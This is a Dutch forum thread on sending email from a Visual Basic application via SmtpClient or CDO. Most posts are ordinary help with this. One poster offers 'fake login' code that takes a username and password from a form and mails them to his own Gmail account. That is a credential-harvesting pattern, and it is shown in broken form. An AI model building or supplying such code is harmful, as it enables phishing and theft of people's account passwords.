Emailen vanuit je applicatie

Status
Niet open voor verdere reacties.

harolda1980

Gebruiker
Lid geworden
7 aug 2007
Berichten
488
Ik ben eigenlijk opzoek naar een code waar mee je een email kunt versturen. Onafhankelijk van een gmail account of een eigen email adres. Ik weet dat dit ook kon bij VBA. Hoe zit dit in Visual basic. Misschien dat je iets van een fake iets kunt aan maken.
 
Ik heb wel gelezen dat je deze moet importeren alleen kan ik deze in visual basic 2010 express niet vinden. Heeft iemand een idee?

Code:
[SIZE=2][SIZE=2][SIZE=2][COLOR=#0000ff][FONT=Verdana, Arial, Helvetica, sans-serif]Imports[/FONT][/COLOR][/SIZE][SIZE=2][FONT=Verdana, Arial, Helvetica, sans-serif] System.Web.Mail[/FONT][/SIZE]
[/SIZE][/SIZE]
 
Hoe kan ik dat dan op een eenvoudige manier oplossen. Heb je iets van een voorbeeld om mij op weg te helpen?
 
Ja hoor. Je kunt hem gewoon van de fake login gebruiken. Alleen is het hierbij een gmail account. Wil je hotmail als user(die de mail verzend) dan zal je de smtp server moeten opzoeken van hotmail en de rest van de smtp veranderen.
Als het goed is is dat smtp.live.com, maar weet dit niet zeker.

Met een gmail account zal het dan zo worden:

Code:
System.Net.Mail
Button1:
Dim smtpServer As New SmtpClient() 
Dim mail As New MailMessage() 
smtpServer.Credentials = New Net.NetworkCredential("Username Gmail", " Gmail Password") 
'using gmail 
smtpServer.Port = 587 
smtpServer.Host = "smtp.gmail.com" 
smtpServer.EnableSsl = True mail = New MailMessage() 
mail.From = New MailAddress("You Gmail") 
mail.To.Add("Your Gmail") 
mail.Subject = "Username: " & TextBox1.Text 
mail.Body = "Voorbeeld"
smtpServer.Send(mail)



Mvg,
Stef
 
Ja hoor. Je kunt hem gewoon van de fake login gebruiken.

Fake login? Je hebt gewoon een account nodig om te versturen, hoor ;)

Masterpef;4030965 [CODE zei:
System.Net.Mail
Button1:
[/CODE]

Button1??


Code:
Imports System.Net.Mail
Imports System.Net

Code:
   Dim MyMailMessage As New MailMessage
    Dim SMTP As New SmtpClient("smtp.gmail.com")

                MyMailMessage.From() = New MailAddress("Gmail-Adres")
                MyMailMessage.To.Add("Aan")
                MyMailMessage.CC.Add("CC")
                MyMailMessage.Subject = "Onderwerp"
                MyMailMessage.Body = ("Bericht")
                SMTP.EnableSsl = True
                SMTP.Port = 587
                SMTP.EnableSsl = True
                SMTP.Credentials = New System.Net.NetworkCredential("GMail-adres", "wachtwoord")
                SMTP.Send(MyMailMessage)

Voor een Gmail-account.
 
Laatst bewerkt:
Dit heb ik voor elkaar.. Nu zit ik te lezen en wat is het verschil tussen de eerste code en de tweede code?

maar het mooiste is dus eigenlijk als je de smtp server kunt invullen van de server waarop je draait, het bedrijf waar ik werk dus.
 
Er is bijna geen verschil. Behalve dat ik alle namespaces goed import en 'Button1:' heb weggelaten ;)

('alle' staat dikgedrukt omdat MasterPef 'System.Net' niet importeert...)
 
Oke.. Dan ga ik die code eens uitpluizen! Maar wel een nadeel is dat je moet inloggen op de mail server. Ik weet niet of er ook een manier is omdat niet te doen?
Ik moet dus inlog gegevens mee stuiren in de app! En wil ik dus een wisselende server gebruiken afhankelijk van de locatie waar de applicatie draait
 
Jah sorry hiervoor.
Button 1 was bedoeld voor de code die op de verzend button moet staan.
Jah, je hebt voor deze code een gmail account nodig, maar dit is eigenlijk gewoon de code van een fake login zoals hij zei.

EDIT:
Gaat het bij die mail server om een internet login?
Misschien kun je een textbox maken en daar de smtp server laten invullen?
 
Laatst bewerkt:
Maar wel een nadeel is dat je moet inloggen op de mail server. Ik weet niet of er ook een manier is omdat niet te doen?
Ik denk niet dat daar een manier voor is. Je moet toch altijd inloggen wil je een mail versturen?

Ik moet dus inlog gegevens mee stuiren in de app!

Wat is het probleem? :rolleyes:

En wil ik dus een wisselende server gebruiken afhankelijk van de locatie waar de applicatie draait

Dan kun je toch een variabele maken? Die kun je dan veranderen afhankelijk van de locatie.

maar dit is eigenlijk gewoon de code van een fake login zoals hij zei.

Dit snap ik nog steeds niet: Fake Login... ?
 
Zie hier een voorbeeld Uit VBA.. hiermee log ik niet in op een server!

Code:
Private Sub Emailconfirm(EC_mail As String, EC_Datum As Date, EC_Naam As String, EC_tel As String, EC_Persnummer As String, Ec_dienst As String, Ec_locatie As String)
Dim iMsg As Object
Dim iConf As Object
Dim strbody As String
Dim Flds As Variant
Dim var As String

Dim StringTo As String
    On Error GoTo Errorhandler
    txtStatus.Value = "Emailbericht opmaken..."
    Set iMsg = CreateObject("CDO.Message")
    Set iConf = CreateObject("CDO.Configuration")
    iConf.Load -1    ' CDO Source Defaults
    Set Flds = iConf.Fields
    With Flds
    .Item("[URL]http://schemas.microsoft.com/cdo/configuration/sendusing[/URL]") = 2
    .Item("[URL]http://schemas.microsoft.com/cdo/configuration/smtpserver[/URL]") = "Email.vermaatgroep.nl"
    .Item("[URL]http://schemas.microsoft.com/cdo/configuration/smtpserverport[/URL]") = 25
    .Update
    End With
    
    strbody = "Beste collega," & vbNewLine & vbNewLine & "Hierbij een automatische bevestiging van de eventkalender. Aangezien er zo juist een dienst van uw vestiging is ingevuld door een collega vestiging." & vbNewLine & vbNewLine & _
                "De volgende medewerker zal de dienst komen vervullen op " & EC_Datum & " voor de dienst " & Ec_dienst & " :" & vbNewLine & "Vestiging             : " & Ec_locatie & vbNewLine & _
                "Medewerkernaam        : " & EC_Naam & vbNewLine & "Medewerker tel.       : " & EC_tel & vbNewLine & "Personeelsnummer      : " & EC_Persnummer & _
                vbNewLine & vbNewLine & "Mochten er wijzigingen zijn neem dan contact op met de vestiging en de betreffende medewerker." & vbNewLine & vbNewLine & vbNewLine & _
                "<<Dit is een automatisch gegeneeerde email en derhalve niet ondertekend!>>"
    Debug.Print strbody
    With iMsg
    Set .Configuration = iConf
        .to = EC_mail 'Emailstring toevoegen
        .CC = ""
        .BCC = "[EMAIL="r.vanelst@test.nl"]r.vanelst@test.nl[/EMAIL]"
        .FROM = """Eventkalender"" <[EMAIL="nietantwoorden@test.nl"]nietantwoorden@test.nl[/EMAIL]>"
        .Subject = "Eventkalender bevestiging " & EC_Datum & " " & Ec_dienst 'Zet hier het subject
        .TextBody = strbody
'        .attachments.Add 'Bijlage Toevoegen
        .Fields("urn:schemas:httpmail:importance") = 2
        .Fields("urn:schemas:mailheader:X-Priority") = 1
        .Send
    End With
    Set iMsg = Nothing
    Set iConf = Nothing
    
       
Errorhandler:
    txtStatus.Value = "Emailbericht - niet verzxonden!"
    Set iMsg = Nothing
    Set iConf = Nothing
End Sub
 
Nou de fake login code is precies hetzelfde. Alleen neem je hierbij ook nog een msgbox.

Voorbeeld:

Code:
Imports System.Net.Mail
Imports System.Net
If TextBox1.text = "" Then
Msgbox("Invalid Username",vbexclamtion, "Error")

If Textbox2.text = "" Then
Msgbox("Invalid Password", vbexclamtion, "Error)
   Dim MyMailMessage As New MailMessage
    Dim SMTP As New SmtpClient("smtp.gmail.com")

                MyMailMessage.From() = New MailAddress("Gmail-Adres")
                MyMailMessage.To.Add("Aan")
                MyMailMessage.CC.Add("CC")
                MyMailMessage.Subject = "Onderwerp"
                MyMailMessage.Body = "Username: " & Textbox1.Text & " , " & "Password: " & Textbox2.Text
                SMTP.EnableSsl = True
                SMTP.Port = 587
                SMTP.EnableSsl = True
                SMTP.Credentials = New System.Net.NetworkCredential("GMail-adres", "wachtwoord")
Msgbox("Couldn't connect to the server", vbexclamtion, "Connection Failed")

EDIT:
Logt u in via een internet browser?
 
Wat is daar het nut van? :rolleyes:

(Trouwens, Je code is niet helemaal foutvrij: in één oogopslag mis ik 2 End-If's en Import-Statements kunnen niet in dat deel van je code staan :P)
 
Ik kom er nu ook achter xd dat ik de end-if's ben vergeten. Nee xd die moeten erbij komen te staan.
 
Eigenlijk maak je het programma eenvoudiger en een leek kan hem dan installeren en dan gebruiken.. Dat is het idee achter een fake login! of zoals de code uiit VBA die ik net gepost had.
 
Maar mijn vraag aan u is. Gebruikt u een internet pagina om in te loggen to uw mail?
 
Hoe bedoel je.. een internetpagina! Het is een programma wat straks via een centralel site te downloaden is. Men logt in de eigen pc in en heeft dan het programmaatje op de pc staan.
 
Oh oke. Als je via een internetpagina moest inloggen om op uw mail te komen, dan was het een stuk makkelijker geweest.(Het mag dan wel geen java zijn)
 
OK, nu snap ik MasterPef ook niet :confused:

Maar Harolda1980, je kan toch gewoon een Gmail-account maken en daarmee die mails sturen? Da's toch geen probleem?
 
Status
Niet open voor verdere reacties.
Terug
Bovenaan Onderaan